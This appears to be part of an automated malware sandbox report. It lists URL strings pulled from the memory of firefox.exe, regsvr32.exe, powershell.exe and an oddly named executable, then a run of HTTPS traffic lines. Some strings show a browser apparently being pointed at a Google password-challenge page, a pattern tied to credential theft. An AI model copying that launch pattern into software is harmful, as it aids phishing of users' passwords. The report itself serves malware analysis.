Source: firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshotsshims/google-analytics-ecommerce-plugin.jsexperiment-
Source: firefox.exe, 00000025.00000002.3375885789.00000138459B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla/webcompat-reporter
Source: firefox.exe, 00000025.00000002.3387699674.0000013848726000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/blob/master/css-grid-2/MASONRY-EXPLAINER.md
Source: firefox.exe, 00000025.00000002.3387699674.0000013848726000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/4650
Source: firefox.exe, 00000025.00000002.3397387815.000001384917E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com
Source: firefox.exe, 00000025.00000002.3387699674.0000013848726000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gpuweb.github.io/gpuweb/
Source: firefox.exe, 00000025.00000002.3364933567.0000013839611000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: firefox.exe, 00000025.00000002.3391777614.0000013848996000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-getpocket.cdn.mozilla.net/X
Source: firefox.exe, 00000025.00000002.3367713909.0000013844EAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 00000025.00000002.3397387815.000001384917E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 00000025.00000003.3298521385.000001384883E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.3300591260.0000013848846000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://infra.spec.whatwg.org/#ascii-whitespace
Source: firefox.exe, 00000025.00000002.3401500515.0000013849340000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema
Source: firefox.exe, 00000025.00000003.3298521385.000001384883E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.3300591260.0000013848846000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/libraries/standalone-templates/#rendering-lit-html-templates
Source: firefox.exe, 00000025.00000003.3298521385.000001384883E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.3300591260.0000013848846000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/directives/#stylemap
Source: firefox.exe, 00000025.00000003.3298521385.000001384883E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.3300591260.0000013848846000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/expressions/#child-expressions)
Source: firefox.exe, 00000025.00000002.3402991416.00000138495C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com
Source: firefox.exe, 00000025.00000002.3423226571.000001384A7B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/
Source: firefox.exe, 00000025.00000002.3423226571.000001384A709000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3423226571.000001384A7B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: regsvr32.exe, 00000010.00000003.2975253096.0000000002E4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://logincdn.msauth.net/16.000/Converged_v22057_4HqSCTf5FFStBMz0_eIqyA2.cssJt0QVuF6v9Cg2.jsqiqEg
Source: firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%sAttempted
Source: firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%sNo
Source: firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%sresource://gre/modules/NetUtil.sys.mjshandlerSvc
Source: firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3364933567.00000138396D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 00000025.00000002.3364933567.0000013839603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com
Source: powershell.exe, 00000012.00000002.3107246668.00000286CD2CA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.3397491222.000002C11006C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: firefox.exe, 00000025.00000002.3375885789.00000138459B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3444470985.000001384BDB7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ok.ru/
Source: regsvr32.exe, 00000010.00000003.2976303932.0000000003B1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://outlook.com
Source: firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%sisDefault
Source: firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%shttps://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sresource://gre/modules/Integration.sys.mjs
Source: firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 00000025.00000002.3397387815.000001384917E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com/
Source: firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.comdeveloper-button.tooltiptext2
Source: firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redux.js.org/api-reference/store#subscribe(listener)
Source: firefox.exe, 00000025.00000002.3364933567.0000013839603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 00000025.00000003.3216259407.0000013849853000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/chrome_settings_overrides
Source: firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 00000025.00000002.3397387815.000001384917E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 00000025.00000002.3391777614.00000138489C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs#
Source: firefox.exe, 00000025.00000002.3391777614.00000138489C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs#l
Source: firefox.exe, 00000025.00000002.3397387815.000001384917E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 00000025.00000002.3423226571.000001384A717000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 00000025.00000002.3423226571.000001384A717000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3422545698.000001384A605000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3416671749.000001384A0D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3422545698.000001384A609000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: firefox.exe, 00000025.00000002.3364933567.0000013839603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: 41266a11cd.exe, 00000011.00000003.3185437848.000000000576C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 00000025.00000002.3441725415.000001384BC03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windows
Source: firefox.exe, 00000025.00000002.3439370948.000001384BB87000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsMediaPlatformDecoderNotFound
Source: firefox.exe, 00000025.00000002.3439370948.000001384BB87000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsMediaWMFNeeded
Source: firefox.exe, 00000025.00000002.3396112248.0000013849000000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsThe
Source: firefox.exe, 00000025.00000002.3396112248.0000013849000000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsUse
Source: firefox.exe, 00000025.00000002.3392853212.0000013848A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2
Source: 41266a11cd.exe, 00000011.00000003.3185437848.000000000576C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: firefox.exe, 00000025.00000003.3298521385.000001384883E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.3300591260.0000013848846000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tc39.github.io/ecma262/#sec-typeof-operator
Source: firefox.exe, 00000025.00000002.3396112248.0000013849000000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2
Source: firefox.exe, 00000025.00000002.3396112248.0000013849000000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-3.1
Source: firefox.exe, 00000025.00000002.3396112248.0000013849000000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4
Source: firefox.exe, 00000025.00000002.3396112248.0000013849000000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7515#appendix-C)
Source: firefox.exe, 00000025.00000002.3364933567.0000013839603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 00000025.00000002.3391777614.00000138489C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: firefox.exe, 00000025.00000002.3375885789.00000138459B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3444470985.000001384BDB7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/
Source: firefox.exe, 00000025.00000002.3387699674.00000138487B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3375885789.00000138459B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3444470985.000001384BDB7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3402991416.0000013849554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/
Source: firefox.exe, 00000025.00000003.3298521385.000001384883E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.3300591260.0000013848846000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wicg.github.io/construct-stylesheets/#using-constructed-stylesheets).
Source: firefox.exe, 00000025.00000002.3375885789.00000138459B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3444470985.000001384BDB7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: firefox.exe, 00000025.00000002.3391777614.00000138489C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/
Source: firefox.exe, 00000025.00000002.3367713909.0000013844EAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: firefox.exe, 00000025.00000003.3216654155.000001384986F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.3215434253.000001384981D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.3217036365.000001384988A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.3215753011.0000013849838000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.3216259407.0000013849853000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/_addCardTypeLinkMenuOptions/card.contextMenuOptio
Source: firefox.exe, 00000025.00000002.3375885789.00000138459B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3444470985.000001384BDB7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.avito.ru/
Source: firefox.exe, 00000025.00000002.3375885789.00000138459B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3444470985.000001384BDB7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/
Source: firefox.exe, 00000025.00000002.3367713909.0000013844EAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: firefox.exe, 00000025.00000002.3375885789.00000138459B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3444470985.000001384BDB7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ctrip.com/
Source: 41266a11cd.exe, 00000011.00000003.3081516041.0000000005678000.00000004.00000800.00020000.00000000.sdmp, 41266a11cd.exe, 00000011.00000003.3081160759.000000000567B000.00000004.00000800.00020000.00000000.sdmp, 41266a11cd.exe, 00000011.00000003.3081261298.0000000005678000.00000004.00000800.00020000.00000000.sdmp, 41266a11cd.exe, 00000018.00000003.3262392371.0000000005966000.00000004.00000800.00020000.00000000.sdmp, 41266a11cd.exe, 00000018.00000003.3272611733.0000000005966000.00000004.00000800.00020000.00000000.sdmp, 41266a11cd.exe, 00000018.00000003.3258033041.0000000005969000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: firefox.exe, 00000025.00000003.3306864233.0000013851A51000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.3298521385.000001384883E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 00000025.00000002.3433542588.000001384AC2F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.3216259407.0000013849853000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: 41266a11cd.exe, 00000011.00000003.3081516041.0000000005678000.00000004.00000800.00020000.00000000.sdmp, 41266a11cd.exe, 00000011.00000003.3081160759.000000000567B000.00000004.00000800.00020000.00000000.sdmp, 41266a11cd.exe, 00000011.00000003.3081261298.0000000005678000.00000004.00000800.00020000.00000000.sdmp, 41266a11cd.exe, 00000018.00000003.3262392371.0000000005966000.00000004.00000800.00020000.00000000.sdmp, 41266a11cd.exe, 00000018.00000003.3272611733.0000000005966000.00000004.00000800.00020000.00000000.sdmp, 41266a11cd.exe, 00000018.00000003.3258033041.0000000005969000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 00000025.00000003.3216654155.000001384986F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.3215434253.000001384981D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.3217036365.000001384988A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.3215753011.0000013849838000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.3216259407.0000013849853000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/searchq=
Source: firefox.exe, 00000025.00000002.3375885789.00000138459B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3444470985.000001384BDB7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ifeng.com/
Source: firefox.exe, 00000025.00000002.3375885789.00000138459B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3444470985.000001384BDB7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/
Source: firefox.exe, 00000025.00000002.3372951958.0000013845712000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: 41266a11cd.exe, 00000011.00000003.3185437848.000000000576C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: 41266a11cd.exe, 00000011.00000003.3185437848.000000000576C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: 41266a11cd.exe, 00000011.00000003.3185437848.000000000576C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: 41266a11cd.exe, 00000011.00000003.3185437848.000000000576C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 41266a11cd.exe, 00000011.00000003.3185437848.000000000576C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: firefox.exe, 00000025.00000002.3367713909.0000013844E43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 00000025.00000002.3397387815.000001384917E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: firefox.exe, 00000025.00000002.3391777614.00000138489C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-contentP
Source: firefox.exe, 00000025.00000002.3391777614.00000138489C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/V
Source: 41266a11cd.exe, 00000011.00000003.3185437848.000000000576C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: firefox.exe, 00000025.00000002.3387699674.00000138487B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.olx.pl/
Source: firefox.exe, 00000025.00000002.3375885789.00000138459B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3423226571.000001384A7B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 00000025.00000002.3391777614.00000138489C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: firefox.exe, 00000025.00000002.3391777614.00000138489C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 00000025.00000002.3387699674.00000138487B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3375885789.00000138459B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3444470985.000001384BDB7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 00000025.00000002.3439370948.000001384BB87000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3441725415.000001384BC03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warning
Source: firefox.exe, 00000025.00000002.3396112248.0000013849000000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warningThe
Source: firefox.exe, 00000025.00000002.3449519469.000001384BEF9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3387699674.0000013848726000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3447539410.000001384BE7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 00000025.00000002.3387699674.0000013848726000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3453790563.000001384C0EE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3409432948.0000013849AC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/
Source: firefox.exe, 00000025.00000002.3441725415.000001384BC03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000023.00000002.3187324129.0000020F7C100000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3206541560.00000217AB4CF000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3364063750.00000138393C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 00000025.00000002.3366239956.000001383AFBB000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3366239956.000001383AF80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMOZ_CRASHREPORTER_RE
Source: firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdPrefs
Source: firefox.exe, 00000025.00000002.3364933567.0000013839603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdhc98

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 50177 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50360 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 50165 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50507
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
